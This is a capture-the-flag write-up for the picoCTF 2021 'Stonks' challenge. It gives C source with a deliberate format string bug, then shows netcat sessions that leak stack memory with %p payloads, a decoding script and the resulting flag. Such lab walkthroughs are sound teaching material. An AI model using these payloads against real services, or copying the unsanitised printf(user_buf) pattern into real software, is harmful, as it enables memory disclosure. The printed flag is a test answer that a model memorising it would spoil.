picoCTF 2021 – Stonks (Binary Exploitation)
Introduction
‘Stonks’ is the lowest-rated challenge in the Binary Exploitation category. The description states:
I decided to try something noone else has before. I made a bot to automatically trade stonks for me using AI and machine learning. I wouldn’t believe you if you told me it’s unsecure!
We are told the program is running on the host mercury.picoctf.net
port 20195. We are also provided the source code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define flag_buffer 128
#define max_sym_len 4
typedef struct stonks {
int shares;
char symbol[max_sym_len + 1];
struct stonks *next;
} stonk;
typedef struct portfolios {
int money;
stonk *head;
} portfolio;
int view_portfolio(portfolio *p) {
if (!p) {
return 1;
}
printf("\nportfolio as of ");
fflush(stdout);
system("date"); // todo: implement this in c
fflush(stdout);
printf("\n\n");
stonk *head = p->head;
if (!head) {
printf("you don't own any stonks!\n");
}
while (head) {
printf("%d shares of %s\n", head->shares, head->symbol);
head = head->next;
}
return 0;
}
stonk *pick_symbol_with_ai(int shares) {
if (shares < 1) {
return null;
}
stonk *stonk = malloc(sizeof(stonk));
stonk->shares = shares;
int ai_symbol_len = (rand() % max_sym_len) + 1;
for (int i = 0; i <= max_sym_len; i++) {
if (i < ai_symbol_len) {
stonk->symbol[i] = 'a' + (rand() % 26);
} else {
stonk->symbol[i] = '\0';
}
}
stonk->next = null;
return stonk;
}
int buy_stonks(portfolio *p) {
if (!p) {
return 1;
}
char api_buf[flag_buffer];
file *f = fopen("api","r");
if (!f) {
printf("flag file not found. contact an admin.\n");
exit(1);
}
fgets(api_buf, flag_buffer, f);
int money = p->money;
int shares = 0;
stonk *temp = null;
printf("using patented ai algorithms to buy stonks\n");
while (money > 0) {
shares = (rand() % money) + 1;
temp = pick_symbol_with_ai(shares);
temp->next = p->head;
p->head = temp;
money -= shares;
}
printf("stonks chosen\n");
// todo: figure out how to read token from file, for now just ask
char *user_buf = malloc(300 + 1);
printf("what is your api token?\n");
scanf("%300s", user_buf);
printf("buying stonks with token:\n");
printf(user_buf);
// todo: actually use key to interact with api
view_portfolio(p);
return 0;
}
portfolio *initialize_portfolio() {
portfolio *p = malloc(sizeof(portfolio));
p->money = (rand() % 2018) + 1;
p->head = null;
return p;
}
void free_portfolio(portfolio *p) {
stonk *current = p->head;
stonk *next = null;
while (current) {
next = current->next;
free(current);
current = next;
}
free(p);
}
int main(int argc, char *argv[])
{
setbuf(stdout, null);
srand(time(null));
portfolio *p = initialize_portfolio();
if (!p) {
printf("memory failure\n");
exit(1);
}
int resp = 0;
printf("welcome back to the trading app!\n\n");
printf("what would you like to do?\n");
printf("1) buy some stonks!\n");
printf("2) view my portfolio\n");
scanf("%d", &resp);
if (resp == 1) {
buy_stonks(p);
} else if (resp == 2) {
view_portfolio(p);
}
free_portfolio(p);
printf("goodbye!\n");
exit(0);
}
First Steps
First things first, let’s connect to the service and probe the app a bit:
(ori0n@apophis) --> [ ~/pico/pwn/stonks ]
==> $ nc mercury.picoctf.net 20195
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
givemeflag
Buying stonks with token:
givemeflag
Portfolio as of Thu Oct 28 19:42:23 UTC 2021
1 shares of K
2 shares of XHMH
1 shares of Z
2 shares of RSWL
87 shares of PSLM
128 shares of KIJ
243 shares of T
44 shares of WIAG
Goodbye!
(ori0n@apophis) --> [ ~/pico/pwn/stonks ]
==> $ nc mercury.picoctf.net 20195
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
2
Portfolio as of Thu Oct 28 19:42:29 UTC 2021
You don't own any stonks!
Goodbye!
It all seems very simple. We have two distinct branches of execution, and the first seems most interesting at the moment.
Spotting the Bug
Tracing execution through the first option, we spot an interesting block within the buy_stonks()
function:
char *user_buf = malloc(300 + 1);
printf("What is your API token?\n");
scanf("%300s", user_buf);
printf("Buying stonks with token:\n");
printf(user_buf);
Notice the call to printf()
on line 93. Specifically, notice that the supplied format string is actually data the we control. The application is supplying an unsanitized user-supplied string as the format string. So what happens if we send the app some format specifiers?
(ori0n@apophis) --> [ ~/pico/pwn/stonks ]
==> $ nc mercury.picoctf.net 20195
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%p
Buying stonks with token:
0x8e70430
Portfolio as of Thu Oct 28 19:51:08 UTC 2021
...
The program dumped out what appears to be a valid pointer! The only question is how can we exploit this to grab the flag?
Exploitation
Format string vulnerability in hand, let’s dig a little deeper into the code. Looking near the beginning of the buy_stonks()
function, we notice what appears to be the flag file being loaded and its contents being copied to a buffer on the stack:
char api_buf[FLAG_BUFFER];
FILE *f = fopen("api","r");
if (!f) {
printf("Flag file not found. Contact an admin.\n");
exit(1);
}
fgets(api_buf, FLAG_BUFFER, f);
So our flag is sitting on the stack. And we know that printf()
will pull data from the stack in sequence to match each format specifier in the supplied format string. What if we send in a bunch of %s
specifiers?
(ori0n@apophis) --> [ ~/pico/pwn/stonks ]
==> $ nc mercury.picoctf.net 20195
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%s%s%s%s%s
Buying stonks with token:
timeout: the monitored command dumped core
Welp. We broke it.
What if we instead send a sequence of %p
specifiers? We should then get back a sequence of 32-bit hex values. It should be relatively easy to spot a string of ASCII bytes among the other data on the stack. To make things easier, I’ll create a file to pipe into netcat
‘s input stream:
1
%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p__%p
The underscores are simply to make the output easier to parse (if we use spaces, scanf()
will stop reading at the first space). Save the file as input
and pass it along to the remote app:
(ori0n@apophis) --> [ ~/pico/pwn/stonks ]
==> $ nc mercury.picoctf.net 20195 < input
Welcome back to the trading app!
What would you like to do?
1) Buy some stonks!
2) View my portfolio
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
Buying stonks with token:
0x81ef410__0x804b000__0x80489c3__0xf7f26d80__0xffffffff__0x1__0x81ed160__0xf7f34110__0xf7f26dc7__(nil)__0x81ee180__0x2__0x81ef3f0__0x81ef410__0x6f636970__0x7b465443__0x306c5f49__0x345f7435__0x6d5f6c6c__0x306d5f79__0x5f79336e__0x35343036__0x64303664__0xff96007d__0xf7f61af8__0xf7f34440__0x6c6dd800__0x1
We see what looks like ASCII beginning at the 15th spot. If we quickly decode the four bytes (accounting for little-endianness), we get the string “pico”. We can copy everything from the first block of ASCII bytes until the block containing a null byte and work a little Python magic:
from binascii import unhexlify
flag = b"".join(
[
unhexlify("6f636970")[::-1],
unhexlify("7b465443")[::-1],
unhexlify("306c5f49")[::-1],
unhexlify("345f7435")[::-1],
unhexlify("6d5f6c6c")[::-1],
unhexlify("306d5f79")[::-1],
unhexlify("5f79336e")[::-1],
unhexlify("35343036")[::-1],
unhexlify("64303664")[::-1],
unhexlify("007d")[::-1],
]
).decode()
print(flag)
Now we can run the script and we get the flag:
(ori0n@apophis) --> [ ~/pico/pwn/stonks ]
==> $ python unhex.py
picoCTF{I_l05t_4ll_my_m0n3y_6045d60d}
1 COMMENT